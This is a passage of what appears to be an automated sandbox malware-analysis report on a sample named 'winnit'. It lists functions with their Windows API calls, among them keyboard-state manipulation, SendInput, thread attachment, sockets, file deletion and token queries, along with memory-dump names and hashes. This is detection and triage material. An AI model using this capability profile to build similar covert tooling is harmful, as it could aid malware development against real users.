                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: BuffCharLower$AllocVirtual_memmove
                                          • String ID:
                                          • API String ID: 3659485706-0
                                          • Opcode ID: c188d24831f6b01df078af9c5c965acc0fbdfc0c9f18ad47ea66005ba789f9dc
                                          • Instruction ID: 750bb536b86ce93ae357f2fcd938ce6c49e41e275acb72aae1a8cccb2b32af94
                                          • Opcode Fuzzy Hash: c188d24831f6b01df078af9c5c965acc0fbdfc0c9f18ad47ea66005ba789f9dc
                                          • Instruction Fuzzy Hash: 65C14C71608311DFC714DF29C480A6ABBE4FF89714F1489AEF89A9B351D731E946CB82
                                          Function 00B28093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON
                                          Download Yara Rule
                                          APIs
                                          • CoInitialize.OLE32(00000000), ref: 00B280C3
                                          • CoUninitialize.OLE32 ref: 00B280CE
                                            • Part of subcall function 00B0D56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00B0D5D4
                                          • VariantInit.OLEAUT32(?), ref: 00B280D9
                                          • VariantClear.OLEAUT32(?), ref: 00B283AA
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                          • String ID:
                                          • API String ID: 780911581-0
                                          • Opcode ID: 56464eb73551c62acdf2f3cc08b75bb1c93c9d6a3a665754e9a1caba7ae4c666
                                          • Instruction ID: 3cb8536af370c7d29bb8ca4b1eaaf53dae4ca189f1c18c97d6b51f5ab9ecb527
                                          • Opcode Fuzzy Hash: 56464eb73551c62acdf2f3cc08b75bb1c93c9d6a3a665754e9a1caba7ae4c666
                                          • Instruction Fuzzy Hash: F6A16A356047119FDB00DF54D581B6AB7E8FF89354F148488FA9A9B3A2CB30ED05CB46
                                          Function 00B07530 Relevance: 6.2, APIs: 4, Instructions: 231COMMON
                                          Download Yara Rule
                                          APIs
                                          • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00B42C7C,?), ref: 00B076EA
                                          • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00B42C7C,?), ref: 00B07702
                                          • CLSIDFromProgID.OLE32(?,?,00000000,00B3FB80,000000FF,?,00000000,00000800,00000000,?,00B42C7C,?), ref: 00B07727
                                          • _memcmp.LIBCMT ref: 00B07748
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: FromProg$FreeTask_memcmp
                                          • String ID:
                                          • API String ID: 314563124-0
                                          • Opcode ID: ee773e1a3272ed4457851b6ab106f32a2d92df43326a99a4f6a8841f32daf5ea
                                          • Instruction ID: 7091cb989950f756caa84054ca42ccd0892ba1004087d3ac5f98a948af2f3fc7
                                          • Opcode Fuzzy Hash: ee773e1a3272ed4457851b6ab106f32a2d92df43326a99a4f6a8841f32daf5ea
                                          • Instruction Fuzzy Hash: CA81EB75E00109EFCB04DFA4C984DEEBBB9FF89315F204599E506AB251DB71AE06CB60
                                          Function 00B0687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Variant$AllocClearCopyInitString
                                          • String ID:
                                          • API String ID: 2808897238-0
                                          • Opcode ID: a8d9e0f790f91b19616c85690e769c1c254f4b12c28f83115da5771c8879bed6
                                          • Instruction ID: 00c026a69e419a1af71ab9b12cdf490453e5a983b2dc2ba777f2a94502b34b91
                                          • Opcode Fuzzy Hash: a8d9e0f790f91b19616c85690e769c1c254f4b12c28f83115da5771c8879bed6
                                          • Instruction Fuzzy Hash: F851B3747003029EDB24AF65D895A7ABBE9EF49310F20D89FE596DB2D2DF30D8908701
                                          Function 00B397F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetWindowRect.USER32(00F4E638,?), ref: 00B39863
                                          • ScreenToClient.USER32(00000002,00000002), ref: 00B39896
                                          • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00B39903
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$ClientMoveRectScreen
                                          • String ID:
                                          • API String ID: 3880355969-0
                                          • Opcode ID: aa089b09f66689d1be7c7fd17361b60977256dbbcc4337ec2b0e54bc56619977
                                          • Instruction ID: 72e31f9f3f9a41fa230dc77eaf7c694bd38d6ad135452562acbb706bb9d9178f
                                          • Opcode Fuzzy Hash: aa089b09f66689d1be7c7fd17361b60977256dbbcc4337ec2b0e54bc56619977
                                          • Instruction Fuzzy Hash: BE514F35A00209EFDF24CF54D980AAE7BF5FF85360F248299F8559B2A0D771AD81CB90
                                          Function 00B09A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00B09AD2
                                          • __itow.LIBCMT ref: 00B09B03
                                            • Part of subcall function 00B09D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00B09DBE
                                          • SendMessageW.USER32(?,0000110A,00000001,?), ref: 00B09B6C
                                          • __itow.LIBCMT ref: 00B09BC3
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$__itow
                                          • String ID:
                                          • API String ID: 3379773720-0
                                          • Opcode ID: efae49122c9251821dc65d35eefd20a1ea8ca1488dc11ac391864a6c746b0743
                                          • Instruction ID: ef126d1e386b5d9f92c5b2d01bca22b70197dcb097842639c8d28a3bc3934ce7
                                          • Opcode Fuzzy Hash: efae49122c9251821dc65d35eefd20a1ea8ca1488dc11ac391864a6c746b0743
                                          • Instruction Fuzzy Hash: 10416E70A00208ABDF15EF54D946BEE7FF9EF88760F0000A9F905A7292DB749A44CB61
                                          Function 00B269AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • socket.WSOCK32(00000002,00000002,00000011), ref: 00B269D1
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00B269E1
                                            • Part of subcall function 00AB9837: __itow.LIBCMT ref: 00AB9862
                                            • Part of subcall function 00AB9837: __swprintf.LIBCMT ref: 00AB98AC
                                          • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00B26A45
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00B26A51
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ErrorLast$__itow__swprintfsocket
                                          • String ID:
                                          • API String ID: 2214342067-0
                                          • Opcode ID: 40cc11c12a1f6fd01e14c40d098c2e7f8378a4e75bb7a2a3458ec005831d3a3d
                                          • Instruction ID: bdcf0d950683f034e446bf4b86cfeb8295e57c0b3b49480edf528c4762ee3641
                                          • Opcode Fuzzy Hash: 40cc11c12a1f6fd01e14c40d098c2e7f8378a4e75bb7a2a3458ec005831d3a3d
                                          • Instruction Fuzzy Hash: 6741C035700200AFEB20AF68DD86FBA77ECEF15B10F148458FA19AB2D3DA749D008791
                                          Function 00B2641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON
                                          Download Yara Rule
                                          APIs
                                          • #16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00B3F910), ref: 00B264A7
                                          • _strlen.LIBCMT ref: 00B264D9
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _strlen
                                          • String ID:
                                          • API String ID: 4218353326-0
                                          • Opcode ID: 79cb23ad04ba4a082cc8499407094e2e4dfb01fb7ba4d9096669df2377c5e421
                                          • Instruction ID: 86fa9b8af9ff9f1b77730b44a7265236768d0a52d30eb44fa6bfabafa4dfed29
                                          • Opcode Fuzzy Hash: 79cb23ad04ba4a082cc8499407094e2e4dfb01fb7ba4d9096669df2377c5e421
                                          • Instruction Fuzzy Hash: 1C417231A04119ABCB14EBA8ED95FEEB7EDEF14310F148199F91A97292DB30ED04C751
                                          Function 00B1B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00B1B89E
                                          • GetLastError.KERNEL32(?,00000000), ref: 00B1B8C4
                                          • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00B1B8E9
                                          • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00B1B915
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CreateHardLink$DeleteErrorFileLast
                                          • String ID:
                                          • API String ID: 3321077145-0
                                          • Opcode ID: 7c5ea46e7fc93ecc4b6a20cfcd79c2add38be0159035041fc0d76f6e13d694ea
                                          • Instruction ID: e6dc532047cc1926862596f42a199ffd682d1ce607eb7f84091f441065df90cb
                                          • Opcode Fuzzy Hash: 7c5ea46e7fc93ecc4b6a20cfcd79c2add38be0159035041fc0d76f6e13d694ea
                                          • Instruction Fuzzy Hash: 8B41F735A00511DFCB11EF55C584A9ABBF9EF8A710B198098FD4A9B362CB30FD41CB91
                                          Function 00B38851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON
                                          Download Yara Rule
                                          APIs
                                          • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00B388DE
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: InvalidateRect
                                          • String ID:
                                          • API String ID: 634782764-0
                                          • Opcode ID: a5f7e46022127d8effb7f08781c045531ef42d43bb878aaed7a8f50abe9018f1
                                          • Instruction ID: 6c3b98c8f0089042a1ac0eb91388ce719642e818c763e12ad045f8627a6ffdc4
                                          • Opcode Fuzzy Hash: a5f7e46022127d8effb7f08781c045531ef42d43bb878aaed7a8f50abe9018f1
                                          • Instruction Fuzzy Hash: 6D31C174600308BFEF209A68DC85FBD77E5EB09310F744292FA55E71A1CE71A9409753
                                          Function 00B3AB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ClientToScreen.USER32(?,?), ref: 00B3AB60
                                          • GetWindowRect.USER32(?,?), ref: 00B3ABD6
                                          • PtInRect.USER32(?,?,00B3C014), ref: 00B3ABE6
                                          • MessageBeep.USER32(00000000), ref: 00B3AC57
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Rect$BeepClientMessageScreenWindow
                                          • String ID:
                                          • API String ID: 1352109105-0
                                          • Opcode ID: 2bd89ef4d0d7cb3e111d60ae289adea232eada42a334003c5c01563c6666f636
                                          • Instruction ID: a4506b5710a58c5d31b291ab24d502a0f48fe667a43ab81fc7f5885fe94c76c5
                                          • Opcode Fuzzy Hash: 2bd89ef4d0d7cb3e111d60ae289adea232eada42a334003c5c01563c6666f636
                                          • Instruction Fuzzy Hash: D3416C30A00119DFCF25DF58D894A69BBF5FB49310F7890E9E8999B261DB30A941CB92
                                          Function 00B10AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00B10B27
                                          • SetKeyboardState.USER32(00000080,?,00000001), ref: 00B10B43
                                          • PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00B10BA9
                                          • SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00B10BFB
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: KeyboardState$InputMessagePostSend
                                          • String ID:
                                          • API String ID: 432972143-0
                                          • Opcode ID: 741415c0ee74315d57aa86b7a50b1bdc27f55373b0cf52bfccf008672651f923
                                          • Instruction ID: 1538f198d4312d32f82bbbdfab1025b6be6be91793ff9323bef5082a1982ecbc
                                          • Opcode Fuzzy Hash: 741415c0ee74315d57aa86b7a50b1bdc27f55373b0cf52bfccf008672651f923
                                          • Instruction Fuzzy Hash: A9315A70E58208AEFF30AB258C05BFFBBE5EB45318F9442DAE481921D1C7F489C09751
                                          Function 00B10C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 00B10C66
                                          • SetKeyboardState.USER32(00000080,?,00008000), ref: 00B10C82
                                          • PostMessageW.USER32(00000000,00000101,00000000), ref: 00B10CE1
                                          • SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 00B10D33
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: KeyboardState$InputMessagePostSend
                                          • String ID:
                                          • API String ID: 432972143-0
                                          • Opcode ID: 68406c5f32448ff3b7d5056977d8f7f41b23dedd08dabbaa61bba4b5869563a4
                                          • Instruction ID: 3781077385c986dbe758e8db9cc7d6fb5ae6f7be779c361cabe519766d403d51
                                          • Opcode Fuzzy Hash: 68406c5f32448ff3b7d5056977d8f7f41b23dedd08dabbaa61bba4b5869563a4
                                          • Instruction Fuzzy Hash: FB315A30910309AEFF30AB649C057FEBBE6EB55310F9443EAE880921D1C7B599D58BD1
                                          Function 00AE61C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00AE61FB
                                          • __isleadbyte_l.LIBCMT ref: 00AE6229
                                          • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00AE6257
                                          • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00AE628D
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                          • String ID:
                                          • API String ID: 3058430110-0
                                          • Opcode ID: 1752e567a5bcb929cb2ab48f93ce7534a00954fe892233868d1d17bddc027da4
                                          • Instruction ID: 37b8111ba0124915c8912e42de0b4d66b613a5b874c81e8a0c8b40f0392eb469
                                          • Opcode Fuzzy Hash: 1752e567a5bcb929cb2ab48f93ce7534a00954fe892233868d1d17bddc027da4
                                          • Instruction Fuzzy Hash: AD31D031A04286AFDF228F76CC44BBA7FB9FF51390F154929E924971A1DB30E950DB90
                                          Function 00B34EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetForegroundWindow.USER32 ref: 00B34F02
                                            • Part of subcall function 00B13641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00B1365B
                                            • Part of subcall function 00B13641: GetCurrentThreadId.KERNEL32 ref: 00B13662
                                            • Part of subcall function 00B13641: AttachThreadInput.USER32(00000000,?,00B15005), ref: 00B13669
                                          • GetCaretPos.USER32(?), ref: 00B34F13
                                          • ClientToScreen.USER32(00000000,?), ref: 00B34F4E
                                          • GetForegroundWindow.USER32 ref: 00B34F54
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                          • String ID:
                                          • API String ID: 2759813231-0
                                          • Opcode ID: 1c96e1bd276a40164b71d646ad67e2c73e7a36507a9a2258a3d616740754af3c
                                          • Instruction ID: f714627df756b2fce2af6d13e7a64c89efdba1557d4de2211105185bded650e5
                                          • Opcode Fuzzy Hash: 1c96e1bd276a40164b71d646ad67e2c73e7a36507a9a2258a3d616740754af3c
                                          • Instruction Fuzzy Hash: 96311072E00108AFDB00EFA5C9859EFB7FDEF99300F10446AE515E7252DA75AE45CBA0
                                          Function 00B3C498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB2612: GetWindowLongW.USER32(?,000000EB), ref: 00AB2623
                                          • GetCursorPos.USER32(?), ref: 00B3C4D2
                                          • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00AEB9AB,?,?,?,?,?), ref: 00B3C4E7
                                          • GetCursorPos.USER32(?), ref: 00B3C534
                                          • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00AEB9AB,?,?,?), ref: 00B3C56E
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Cursor$LongMenuPopupProcTrackWindow
                                          • String ID:
                                          • API String ID: 2864067406-0
                                          • Opcode ID: b22f0597cf8734a0fdb9536d91409bc0818646371d4125cec8f0beb33c17155e
                                          • Instruction ID: 19f6a886b1977b7ffdc71fdadf19280b6a50c6102a319a375a6305cd33105279
                                          • Opcode Fuzzy Hash: b22f0597cf8734a0fdb9536d91409bc0818646371d4125cec8f0beb33c17155e
                                          • Instruction Fuzzy Hash: 2731A535601018AFCB25CF98C859EFE7FF5EB09310F2541A9F9059B261CB31AD50DBA4
                                          Function 00B08656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B0810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00B08121
